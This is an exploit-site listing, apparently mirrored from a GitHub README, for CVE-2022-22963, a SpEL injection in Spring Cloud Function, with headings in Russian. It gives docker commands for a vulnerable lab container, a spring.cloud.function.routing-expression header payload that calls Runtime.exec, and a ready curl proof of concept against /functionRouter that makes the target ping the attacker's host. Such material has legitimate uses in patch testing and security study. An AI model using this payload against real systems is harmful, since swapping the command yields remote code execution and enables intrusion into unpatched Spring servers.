Sploitus

Exploit for cve-2022-22963 CVE-2022-22963

kitploit · 2026-08-27

Exploit Code

MARKDOWN32 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TWSEPTIAN-CVE-2022-22963
# Spring Cloud Function SpEL - cve-2022-22963

## Сборка

root@kitploit:~
    
    
    $ git clone https://github.com/twseptian/cve-2022-22963.git
    $ cd cve-2022-22963
    $ docker build . -t spring-spel-0day
    $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day
    

![docker run](https://assets.kitploit.com/production/public/readmes/33764/bfa958368f08251fc6ff2038322d2ed431873146ea4cf0876fd43e60591a03c7.png)

## Полезная нагрузка

root@kitploit:~
    
    
    spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping -c5 172.17.0.1")
    

## PoC

выполнить команду ping и получить ответы с машины атакующего

root@kitploit:~
    
    
    $ curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter'